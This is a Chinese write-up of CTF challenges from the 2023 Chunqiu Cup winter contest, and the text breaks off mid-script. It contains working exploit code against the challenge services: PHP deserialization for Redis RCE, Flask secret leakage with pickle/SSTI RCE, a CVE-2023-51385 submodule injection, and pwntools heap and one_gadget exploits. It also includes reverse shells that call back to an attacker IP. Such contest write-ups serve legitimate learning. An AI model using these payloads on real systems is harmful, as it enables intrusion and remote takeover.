2023年春秋杯网络安全联赛冬季赛 Writeup

文章目录

  • Web
    • ezezez_php
    • picup
  • Misc
    • 谁偷吃了外卖
    • modules
    • 明文混淆
  • Pwn
    • nmanager
    • book
  • Re
    • upx2023
  • Crypto
    • CF is Crypto Faker
  • 挑战题
    • 勒索流量
    • Ezdede
  • 可信计算

在这里插入图片描述

Web

ezezez_php

反序列化打redis主从复制RCE:https://www.cnblogs.com/xiaozi/p/13089906.html

<?php 
class Rd
{
    public $ending;
    public $cl;
    public $poc;

    public function __destruct(){
        // echo "All matters have concluded"."</br>";
    }

    public function __call($name, $arg){
        foreach ($arg as $key => $value) {
            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }
}

class Poc
{
    public $payload;
    public $fun;

    public function __set($name, $value){
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod){
        echo "Have you genuinely accomplished what you set out to do?"."</br>";
        file_get_contents($paylaod);
    }
}

class Er
{
    public $symbol;
    public $Flag;

    public function __construct(){
        $this->symbol = True;
    }

    public function __set($name, $value){   
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
               $value($this->Flag);
        }
    else {
    echo "NoNoNo,please you can look hint.php"."</br>";
    }
  }
}

class Ha
{
    public $start;
    public $start1;
    public $start2;

    public function __construct(){
        // echo $this->start1 . "__construct" . "</br>";
    }

    public function __destruct(){
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            // echo "You are Good!"."</br>";
        }
    }
}

function get($url) {
    // $url=base64_decode($url);
    // var_dump($url);
    // $ch = curl_init();
    // curl_setopt($ch, CURLOPT_URL, $url);
    // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // curl_setopt($ch, CURLOPT_HEADER, 0);
    // $output = curl_exec($ch);
    // $result_info = curl_getinfo($ch);
    // var_dump($result_info);
    // curl_close($ch);
    // var_dump($output);
}

// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()

// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';

echo(serialize($Ha));
 ?>

image.png

picup

题目模仿了php后缀,骗人传php上去,以为能解析,结果不能,打下来才发现是python
先正常的登录和注册,注册成功后,上传完成之后回回显一个路径:**/pic.php?pic=**
测试发现能够进行文件读取 测试双写…/ 发现是能够路径穿越的,在/app/app.py下发现了文件源码

/pic.php?pic=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././app/app.py

image.png

import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf

users=Users()

app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
    if not session or not session.get('username'):
        return redirect("login.php")

    if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
        filepath=os.path.join("./uploads",filename)
        request.files['file'].save(filepath)
        return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
    return render_template("index.html")

@app.route('/login.php',methods=['GET','POST'])
def login():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and users.login(username,password):
            session['username']=username
            return "Login success! <a href='/'>Click here to redirect.</a>"
        else:
            return "Login fail!"
    return render_template("login.html")

@app.route('/register.php',methods=['GET','POST'])
def register():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
            str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
            return str1
        else:
            return "Register fail!"
    return render_template("register.html")

@app.route('/pic.php',methods=['GET','POST'])
def pic():
    if not session or not session.get('username'):
        return redirect("login.php")
    if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
        if session.get('username')=="admin":
            return pickle.load(open(filepath,"rb"))
        else:
            return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
    res="<h1>files in ./uploads/</h1><br>"
    for f in os.listdir("./uploads"):
        res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

理清楚逻辑后发现在注册路由处存在有一个格式化的漏洞 会进行两边format

image.png
username可控,我们可以通过此处 把secret_key获取到

app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()

Burp发送

POST /register.php HTTP/1.1
Host: eci-2zeeg9ho73gvfpqkxn8o.cloudeci1.ichunqiu.com:80
Content-Length: 42
Cache-Control: max-age=0
Origin: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com/register.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1699615725; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O
Connection: close

username={users.passwords}&password=123456

即可暴露出admin的password
image.png
拿到之后就可以利用他来进行 session的构造

pip3 install flask_unsign

$$ flask-unsign --sign --cookie '{"username":"admin"}' --secret 294f3d30bab18f91f5cfe2e23881f5eb

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZawBeQ.i4Iamt9-7GO5T0vQ0T4G_ZVngDE

此时我们的身份就是admin ,在回到上面的源码;此处存在pickle 反序列化漏洞,但需要admin
image.png
构造payload waf限制的太多,直接上传模板,反序列化触发模板 RCE
反序列化 payload

def dumps(filename):
    class Exploit(object):
        def __reduce__(self):
            return (render_template, (f"uploads/{filename}", ))
    a = Exploit()
    b = pickle.dumps(a)
    print(len(b))
    print((b))

    with open('uploads/test.pkl','wb') as f:
        f.write(b)

之后在上传触发

def req(url,payload,filename):
    print("payload:",len(payload))
    with open(f"uploads/{filename}", 'w') as file:
        file.write(payload)

    files = {'file': (filename, open(f"uploads/{filename}", 'rb'))}
    response1 = requests.post(url, headers=headers, files=files)
    # print(response.text)

    files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))}
    response = requests.post(url, headers=headers, files=files)
    # print(response.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)
import random
import pickle
from flask import render_template
import requests


headers = {
    'Cookie': "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Zav8jw.dVtToaA7T1_MHQZTyr9s5LI8fGI"
}
def dumps(filename):
    class Exploit(object):
        def __reduce__(self):
            return (render_template, (f"uploads/{filename}", ))
    a = Exploit()
    b = pickle.dumps(a)
    print(len(b))
    print((b))

    with open('uploads/test.pkl','wb') as f:
        f.write(b)
def req(url,payload,filename):
    print("payload:",len(payload))
    with open(f"uploads/{filename}", 'w') as file:
        file.write(payload)

    files = {'file': (filename, open(f"uploads/{filename}", 'rb'))}
    response1 = requests.post(url, headers=headers, files=files)
    # print(response.text)

    files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))}
    response = requests.post(url, headers=headers, files=files)
    # print(response.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)

def rev_shell(ip,port):
    rev = "L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEuMS4xLjEiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn"
    import base64

    command = base64.b64encode(base64.b64decode(rev).replace(b"1.1.1.1",ip).replace(b'9999',port)).decode()

    rev_command = f"&a=echo {command}|base64 -d|bash"
    pickle_loads_url = url + "/pic.php?pic=test.pkl"
    print(pickle_loads_url)
    rev_r = requests.get(url=pickle_loads_url+rev_command,headers=headers)
    if rev_r.status_code == 200:
        print(rev_r.url)
        print("rev shell ")

if __name__ == "__main__":
    ip = b"1.1.1.1"
    port = b"9999"
    url = "http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/"

    payload = [
        '{%set x=config.update(a=g.__class__.__mro__[1].__subclasses__())%}',
        '{%set x=config.update(q=config.a[360])%}',
        '{{config.q(request.args.a,shell=1)}}'
    ]
    for p in payload:
        filename = str(random.randint(1, 1000))
        dumps(filename)
        req(url,p,filename)
    # rev_shell(ip,port)

触发之后就会生成一个可以执行任意命令但是无回显的页面
带上admin cookie 访问 即可获得一个反弹shell

http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/pic.php?pic=test.pkl&a=echo%20L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3NS4xNzguNzMuMTQxIiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==|base64%20-d|bash

获取shell之后 在/app目录下有一个clear.sh的脚本每10分钟以root身份执行一次 普通用户可写
脚本内容 替换为chmod 777 /flag,等待修改权限即可读取flag

Misc

谁偷吃了外卖

图片末尾附加了ZIP压缩包,解压下去得到

image.png
很明显应该先把这些用户名中间的数据提取出来按照用户名顺序拼接起来,像是base64,但是base64的填充符号没有-,只有+/+这里有了,根据提示猜测把-替换成/,得到的解码是zip数据

import zipfile
import re
import base64

with zipfile.ZipFile("C:\\Users\Administrator\\Downloads\\外卖箱.zip", 'r') as zf:
    fileNameList = zf.namelist()
    infoDict = {}
    for fileName in fileNameList:
        matchedData = re.findall(r'\d{1,}_[a-zA-Z0-9-+=\/]{4}', fileName)
        if matchedData != []:
            infoDict[matchedData[0][0:matchedData[0].find('_')]] = matchedData[0][matchedData[0].find('_')+1:]
    content = ''
    for idx in range(2, 10898+1):
        content += infoDict[str(idx)]
with open('C:\\Users\Administrator\\Downloads\\data.zip', 'wb') as f:
    f.write(base64.b64decode(content.replace('-', '/')))

根据提示这里应该补全zip的文件头

image.png
解压出来很明显这里应该是明文攻击了,这里得到第一部分flag

image.png
直接ARCHPR跑明文攻击即可,根据这个钥匙.png的描述,应该使用Bandzip进行压缩

image.png
image.png
解压得到第二部分flag

flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}

modules

CVE-2023-51385
gitee一搜一大堆大家刚fork的仓库,直接选一个搭一个顺风车

https://gitee.com/rtpyzaL/CVE-2023-51385_test

执行python脚本 获取shell

[submodule "cve"]
	path = cve
	url = ssh://`python 1.py`foo.ichunqiu.com/bar
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

image.png

明文混淆

明文攻击
image.png
这个LICENSE.txt直接网上找相同大小的
image.png
下载LICENSE.txt但是压缩之后发现CRC和题目给的不一样,猜测题目跟这些的还是有不同,不过没关系,不需要那么多的明文,直接用第一行的明文就够了,bkcrack直接爆破得到密钥,然后爆破密码

image.png
得到压缩包密码:R05VIEdQTHYz
将混淆的内容直接一步一步执行输出下去就行
image.png

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
// var_dump($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";
var_dump('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

var_dump(gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA=='))); 
?>

image.png

flag{s1mpL3_z1p_@nd_w365heLl!!!}

Pwn

nmanager

校验函数的seed, 本地跟着跑一个就行了,modify里面没做范围限制,基本是任意写,然后输出, leak出libc后 ogg一把梭就是, 不过没有直接能用的ogg, 把rbp最后弄到bss上就可以了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int i; // [rsp+1Ch] [rbp-3C4h]
  char v6[960]; // [rsp+20h] [rbp-3C0h] BYREF

  init(argc, argv, envp);
  info();
  v3 = time(0LL);
  srand(v3);
  memset(pss, 0, sizeof(pss));
  for ( i = 0; i <= 0; ++i )
    pss[i] = characters[rand() % 62];
  printf("input password: ");
  __isoc99_scanf("%[^\n]", &ipt);
  check(&ipt, pss, &ch1, valid, v6);
  return 0;
}
-----------------------------------------------------------------------
unsigned __int64 __fastcall modify(__int64 a1)
{
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    puts("## select the idx you want modify ##");
    __isoc99_scanf("%d", &n);
    printf("gender: ");
    read(0, (void *)(120LL * n + a1), 0x20uLL);
    printf("age: ");
    __isoc99_scanf("%lld", 120LL * n + a1 + 32);
    printf("name: ");
    read(0, (void *)(120LL * n + a1 + 40), 0x40uLL);
    printf(
      "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
      (unsigned int)n,
      (const char *)(120LL * n + a1 + 40),
      *(_QWORD *)(120LL * n + a1 + 32),
      (const char *)(120LL * n + a1));
    puts("quit now?(Y/y)");
    read(0, buf, 3uLL);
  }
  while ( buf[0] != 121 && buf[0] != 89 );
  return v3 - __readfsqword(0x28u);
}

exp整体略乱

from pwn import *
from LibcSearcher import *
import sys
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'info')	#info

path = "./nmanager"
p = process(path)
#p = remote('8.147.131.156', 45025)
elf = ELF(path)
libc = cdll.LoadLibrary("./libc.so.6")

def g():
	gdb.attach(p)
	raw_input()

sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
rv = lambda arg : p.recv(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()

ch = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

seed = libc.time(0)
libc.srand(seed)

value = int.to_bytes(ch[libc.rand() % 62], 1, 'little')

ru(b'input password: ')
sl(value)

bss = 0x404000 + 0x600

res = rl()

if b'pass' in res:
	onegadget = [0xebcf1, 0xebcf5, 0xebcf8]
	sl(b'8')
	sla(b'der: ', b'BBBBBBB')
	sla(b'age: ', str(0x20).encode())
	sla(b'name: ', b'AAAAAAA')
	
	ru(b'BBBBBBB')
	res = rl()
	libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x29d90
	log.success('libc_base = ' + hex(libc_base))
	
	sla(b'quit now?', b'N')
	
	ogg = libc_base + onegadget[0]
	log.success("ogg = " + hex(ogg))
	sl(b'8')
	#g()
	sla(b'der: ', p64(bss) + p64(ogg))
	sla(b'age: ', str(0x20).encode())
	sla(b'name: ', b'AAAAAAA')
	sla(b'quit now?', b'Y')
	inv()

p.close()


book

经典菜单题, delete功能存在UAF, 而且show 与 edit都没有对应的检查, 没有对申请的大小做限制, 直接house of apple 这些基本都能直接给过,我这里是用我之前写的函数,懒得再过一遍了

//漏洞点
void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v0 = my_read();
  free(*((void **)&heap + v0));
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v1 = my_read();
  return puts(*((const char **)&heap + v1));
}

char *edit()
{
  int v1; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v1 = my_read();
  printf("content: ");
  return fgets(*((char **)&heap + v1), chunk[v1], stdin);
}

好像存在概率问题, 本地没概率,远程怪怪的, 不过最后加个cat flag基本上就全能命中了

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'info')	#info

path = "./book"
#p = process(path)
p = remote("8.147.131.183", 13743)
elf = ELF(path)
libc = elf.libc

def g():
	gdb.attach(p)
	raw_input()

sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
rv = lambda arg : p.recv(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()


def house_of_cat(heap_addr, vtables,first_exec=0, dif=0, rbp=0):
	
	if dif == 0:
		payload = p64(0) * 3	#_IO_stderr_2_1 && _wide_data
		payload += p64(1) + p64(2)	# fp->_wide_data->_IO_write_base < fp->_wide_data->_IO_write_ptr
	else:
		payload = p64(0) + p64(1) + p64(2)
	
	payload = payload.ljust(0x38 - dif, b'\x00') + p64(heap_addr + 0x40)	#springboard
	payload = payload.ljust(0x48 - dif, b'\x00') + p64(rbp)	#_IO_save_base --> rbp
	payload += p64(0) * 4
	payload = payload.ljust(0xa0 - dif, b'\x00') + p64(heap_addr) #it -> _wide_data_
	payload = payload.ljust(0xc0 - dif, b'\x00') + p64(1) #fp->_mode
	payload = payload.ljust(0xd8 - dif, b'\x00') + p64(vtables) #fp->vtables
	payload += p64(heap_addr + 0xe0)	#springboard
	payload = payload.ljust(0xf8 - dif, b'\x00') + p64(first_exec)	#target call_addr
	
	return payload


def choice(num):
	ru(b'> ')
	sl(str(num).encode())
	

def add(index, size):
	choice(1)
	ru(b'Index:')
	sl(str(index).encode())
	ru(b'what size :')
	sl(str(size).encode())


def free(index):
	choice(2)
	ru(b'Index:')
	sl(str(index).encode())


def show(index):
	choice(3)
	ru(b'Index:')
	sl(str(index).encode())


def edit(index, content):
	choice(4)
	ru(b'Index:')
	sl(str(index).encode())
	ru(b'content: ')
	sl(content)


add(11, 0x20)
add(12, 0x20)
free(11)
free(12)

show(11)
a = int.from_bytes(p.recv(5), 'little')

show(12)
b = int.from_bytes(p.recv(6), 'little')

heap_base = (a ^ b) - 0x2a0
log.success("heap_base = " + hex(heap_base))

add(0, 0x30)
add(1, 0x450)
add(2, 0x30)
add(3, 0x440)
add(4, 0x30)

free(1)

show(1)
libc.address = libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x219ce0
log.success("libc_base = " + hex(libc_base))

_IO_list_all = libc_base + 0x21a680
vtables = libc_base + 0x2160c0 + 0x30

add(5, 0x480)
free(3)

pay1 = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x330) + p64(_IO_list_all - 0x20)

edit(1, pay1)
add(6, 0x480)

pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx = libc_base + 0x00000000000796a2
pop_rbp = libc_base + 0x000000000002a2e0
pop_r12_r13_r14_r15 = next(libc.search(asm("pop r12; pop r13; pop r14; pop r15; ret")))
leave_ret = next(libc.search(asm("leave; ret")))

ogg = libc_base + 0xebc88

ans = p64(0)  + p64(pop_r12_r13_r14_r15) + p64(0) + p64(heap_base + 0x1100) + p64(leave_ret) * 2
ans += p64(pop_rdx) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rbp) + p64(heap_base + 0x100) + p64(ogg)
edit(6, ans)

magicgadget = libc_base + 0x000000000016a25a

payload = house_of_cat(heap_base + 0x7d0, vtables, magicgadget, 0x10, heap_base + 0x1100)
edit(3, payload)

#g()
choice(5)
sl(b'cat flag')

inv()

Re

upx2023

脱壳不能工具直接脱, 修改了特征,用010将里面的upx改成UPX就能直接脱壳了, 里面用的是一个随机数,但是随机数这玩意就是伪随机的, 所以主要是那个seed, time(NULL),所以得获取当时的时间, 看PE里面有文件生成的时间,基本就这个时间前了,加密函数change,每隔3个拿一个,然后每2个拿一个, 最后隔1个拿一个, 就是一个映射基本上, 每次变换过去的位置都一样, 提示是有flag{}包裹的, 所以对比flag{}之后的位置, 把seed跑出来就行了

unsigned int b = 1685762996;
for (int j = 0; j < b  + 0x1000; j++) {

		srand(j);
		c = rand() % 255;
		if (c != 0x6f) continue;
		c = rand() % 255;
		if (c != 0x18) continue;
		for (int k = 0; k < 9; k++) rand();
		c = rand() % 255;
		if (c != 0xaa) continue;
		c = rand() % 255;
		if (c != 0x2) continue;
		for (int k = 0; k < 18; k++) rand();
		c = rand() % 255;
		if (c != 0x80) continue;
		c = rand() % 255;
		if (c == 0x9b) {
			printf("%ld, ", j);
		}
	}

这里最后有结果的就是1682145110, 异或输出一下基本就能看到就是flag

	unsigned char data[42] = {
	0x09, 0x63, 0xD9, 0xF6, 0x58, 0xDD, 0x3F, 0x4C, 0x0F, 0x0B, 0x98, 0xC6, 0x65, 0x21, 0x41, 0xED,
	0xC4, 0x0B, 0x3A, 0x7B, 0xE5, 0x75, 0x5D, 0xA9, 0x31, 0x41, 0xD7, 0x52, 0x6C, 0x0A, 0xFA, 0xFD,
	0xFA, 0x84, 0xDB, 0x89, 0xCD, 0x7E, 0x27, 0x85, 0x13, 0x08
	};

	srand(1682145110);
	for (int i = 0; i < 42; i++) {
		c = rand() % 255;
		printf("%c", data[i] ^ c);
	} 
//f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191

因为最后也就是一个映射, 这里随便扔一组全不一样的进去,然后经过对比得到映射表,跟着表输出就是

	char res[] = "f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191";

	char s1[] = "flag{1234567890QWERTYUIOPASDFGHJKLZXCVBNM}";
	char r1[] = "f{48WYPFKCMlg13579QETUOADGJLXVN}a260RISHZB";

	
	for (int i = 0; i < 42; i++) {
		for (int j = 0; j < 42; j++) {
			if (s1[i] == r1[j]) {
				printf("%c", res[j]);
			}
		}
	} 
//flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}

Crypto

CF is Crypto Faker

import gmpy2
import initialize
from Crypto.Util.number import *

n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101
r = 0x4f37fe985d13ffde9867fa0063f68dea79196408b1404eadf03ea59297d629c2183a4a6a6647b6c4c99dd43bae8c4fa4691a608d20170fd42b18aef7efb3ae01cd3
q = gmpy2.gcd(n,r)
p = n // q
phi0 = (p - 1) * (q - 1)
# parameters = initialize.initialize(p, q)
# wild_phi = parameters[0]
# wild_e = parameters[1]
trained_phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0
trained_e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69
c1 = 0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee
c2 = 0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af
print(trained_phi == phi0)
d = gmpy2.invert(trained_e,trained_phi)
m1 = pow(c1,d,n)
m2 = pow(c2,d,n)
flag = b"flag{" + long_to_bytes(m1) + long_to_bytes(m2) + b".}"
print(flag)

挑战题

勒索流量

经典的蚁剑流量,tcp.stream eq 41有一个docx但是没什么内容,没有找到flag

image.png
image.png
tcp.stream eq 48发现s3creT.txt
image.png
tcp.stream eq 49发现脚本
image.png

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

with open("./s3creT.txt", "r") as f:
    key = f.read()
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.now()
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key):
    data = t1(data)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"


def main():
